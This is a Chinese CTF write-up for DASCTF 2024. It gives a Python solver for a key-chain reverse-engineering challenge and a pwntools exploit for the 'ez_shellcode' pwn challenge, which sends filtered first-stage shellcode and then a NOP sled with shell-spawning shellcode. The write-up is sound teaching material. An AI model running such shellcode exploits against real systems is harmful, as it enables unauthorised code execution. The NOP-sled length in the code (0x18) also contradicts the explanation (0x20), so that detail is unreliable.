其实这个是有问题的,虽然也能出来答案,但是比如

    elif b'nothing_here' in dec:
        allenc.remove(i)
        run = 1这种是没有实际意义的,因为没有这种情况

用while循环的下效率比较低,使用元组方式存储keys键值在运行时会有重复调用的情况产生,速度慢

此外,在用565进行第一次测试发现,它没有输出4个下一个key,只输出两个

最后我参考了另一篇wp,发现这篇更容易理解一些,做了一些更改

#逆向-DASCTF2024-复现|寒夜破晓,冬至终章 (完结) | Sealの北极小屋

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from Crypto.Cipher import AES
import re

datas = []
f_number = []
def Get_datas():
with open("inkey.exe", "rb") as file:
file_read = file.read()
begin = 0x3bf40
for i in range(961):
data_addr = begin - i * 0x80
datas.append(file_read[data_addr:data_addr + 0x80])


def decrypt(number, key):
if number in f_number:
return
f_number.append(number)

data = list(datas[number])

for i in range(len(data)):
data[i] = data[i] ^ (i % 0x20) ^ key[i % 0x10]

cipher = AES.new(key, AES.MODE_ECB)
data_re = cipher.decrypt(bytes(data))
decoded_str = data_re.decode('utf-8')
if "DASCTF" in decoded_str:
print(decoded_str)
exit(0)
pattern = r'key_of_(\d+)_is_"([0-9a-fA-F]+)"'
matches = re.findall(pattern, decoded_str)
# 拆分键和值到独立数组
keys = [num for num, _ in matches] # 键数组:数字部分
values = [value for _, value in matches] # 值数组:十六进制字符串

if len(keys) == 0:
return

for i in range(len(keys)):
print(int(keys[i]),values[i].encode("utf-8"), end=' ')
print('\n')

for i in range(len(keys)):
decrypt(int(keys[i]),values[i].encode("utf-8"))


Get_datas()

decrypt(565, b'9fc82e15d9de6ef2')

还有种方法:

PyAutoGUI提供了一种强大且易于使用的方式来自动化各种与计算机交互的任务。它可以帮助提高生产力,并简化复杂的工作流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import pyautogui
import time
from pywinauto.application import Application

print("脚本将在3秒后开始运行...")
time.sleep(3)

start_x, start_y, end_x, end_y = 900, 210, 2080, 1390

grid = []
key = []

grid.append(565)
key.append('9fc82e15d9de6ef2')

# 初始化一个集合用于记录已访问的网格位置
visited = set()
visited.add(565)

while len(grid):
current_grid = grid.pop()
current_key = key.pop()

grid_x = start_x + 38 * (current_grid % 31) + 5
grid_y = start_y + 38 * (current_grid // 31) + 16

pyautogui.click(grid_x, grid_y)
time.sleep(0.3)
pyautogui.typewrite(current_key + '\n')
time.sleep(0.3)

try:
app = Application(backend="uia").connect(title="Right!")
dialog = app.window(title="Right!")
static_text = dialog.child_window(control_type="Text")
text = static_text.window_text()
except Exception as e:
print(f"无法连接到窗口: {e}")
continue

pyautogui.typewrite('\n')

print(text)
if 'true' in text.lower():
break
if 'nothing' in text.lower():
continue

t = text.split('\n')
print(t)

# 假设每一行都有足够的长度,添加异常处理以避免索引错误
for i in range(min(4, len(t))):
try:
new_key = t[i][-17:-1]
new_grid = int(t[i][7:10])

if new_grid not in visited:
key.append(new_key)
grid.append(new_grid)
visited.add(new_grid) # 标记为已访问
except (ValueError, IndexError) as e:
print(f"解析第 {i} 行时出错: {e}")
continue

print("当前已访问的网格数量:", len(visited))
print("待处理的key:", key)
print("待处理的grid:", grid)

pwn

ez_shellcode

参考了[DASCTF 2024最后一战|寒夜破晓,冬至终章] 数论的气氛,ez_shellcode_[dasctf 2024最后一战|寒夜破晓,冬至终章]-CSDN博客

做了一些自己的小改动,增加了些自己的理解

image-20250317162859254

image-20250319170501551

读取单字节v10作为 “幸运数字”,并用其填充整个s内存区域(memset(s, v10, 0x1000))。

读取字符串v14,并通过sub_3626函数验证其合法性。验证规则为:

  • 偶数索引字节(如0x8D)满足 > 0x7F
  • 奇数索引字节(如0x76)满足 <= 0x7F

s的地址存入v11,调用sub_38A2(&v11),最终执行s中的代码(call v1)。

Linux 内核为了兼容旧版 32 位程序,保留了 int 0x80 的中断处理逻辑。

  • 寄存器截断:int 0x80 使用32 位寄存器(eax, ebx, ecx…)传递参数。内核会将 32 位寄存器值符号扩展到 64 位(例如 eax=0x3 会被视为 rax=0x0000000000000003)。
  • 地址限制:若参数是内存地址(如指针),必须位于 32 位地址空间(即 0x000000000x7FFFFFFF),否则可能因高位截断导致错误。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context(arch='amd64', log_level='debug')

p = process('./ez_shellcode')
# p = remote('node5.buuoj.cn',27051)
# gdb.attach(p, 'b*0x5555555578e0\nc')

#奇数位只允许utf8字符[0x80,0x7ff]偶数位只允许[0,0x7f]
#用int 0x80 的32位调用
shellcode = '''
leave;nop;
xor al,0xc7;nop;
xor edx,eax;nop;
xor al,0xc4;nop; /* eax=sys_read=3, edx=0xc7*/
xor ecx,ecx;nop;
xor ecx,ebx;nop; /* ecx=buf */
xor ebx,ecx;nop; /* ebx=0 */
push rax;
int 0x80 /* read(0,buf,0xc7) */
'''
b = asm(shellcode)
print([hex(ord(i)) for i in b.decode()])
p.sendlineafter(b"What is your lucky number?\n", b'\x90') # 不是\x90也行
p.sendlineafter(b'Leave to fate...\n',b)

sleep(0.5)
p.send(b'\x90' * 0x18 + asm(shellcraft.sh())) # 至少大于0x18
p.interactive()

在调用shellcode之前,主程序将 mmap 分配的内存地址(buf)按照调用约定存放到了 ebx 中。shellcode就利用这一点,用 xor ecx, ebx 把 buf 地址转移到 ecx,进而用作 read 的缓冲区参数。

程序调用了 mmap,返回的地址存储到变量 s 中(在反汇编中看到“mov [rbp+s], rax”)。这个 s 就是我们希望用作 read 缓冲区的地址,也就是 buf。

由于调用者(sub_38A2 调用时)已经将 v11 传递到函数指针调用的上下文中,在调用过程中,通过调用约定和之前对寄存器的安排,s 的值实际上“遗留”在某个寄存器中或者在栈上

这里发送的 b'\x90'*0x20 部分构成了一个 NOP 滑道(NOP sled),它的作用有以下几点:

  1. 对齐与跳转缓冲区
    由于第一阶段 shellcode 通过系统调用(read)将第二阶段 payload读入内存后,会直接跳转执行读入的内容。这个过程中可能存在跳转偏移或对齐上的误差。足够长的 NOP 滑道能确保即使跳转不够精确,也能“滑”到真正的 shellcode 开始位置。
  2. 稳定性保障
    实际测试中发现,使用 0x18(24)个 NOP 时不够稳定或未能正确跳转,而 0x20(32)个 NOP 提供了足够的缓冲区域,从而保证后续 shellcode(例如调用 /bin/sh)能够被执行。
  3. 经验选择
    这实际上是一种经验值选择:根据具体的内存布局、执行环境以及第一阶段 shellcode对 read 调用后传入数据的处理方式,选择一个合适的 NOP 滑道长度是确保 exploit 成功的重要环节。你测试发现 0x18以下不行,而 0x20或以上可以,说明 0x20 个 NOP提供了足够的跳转空间。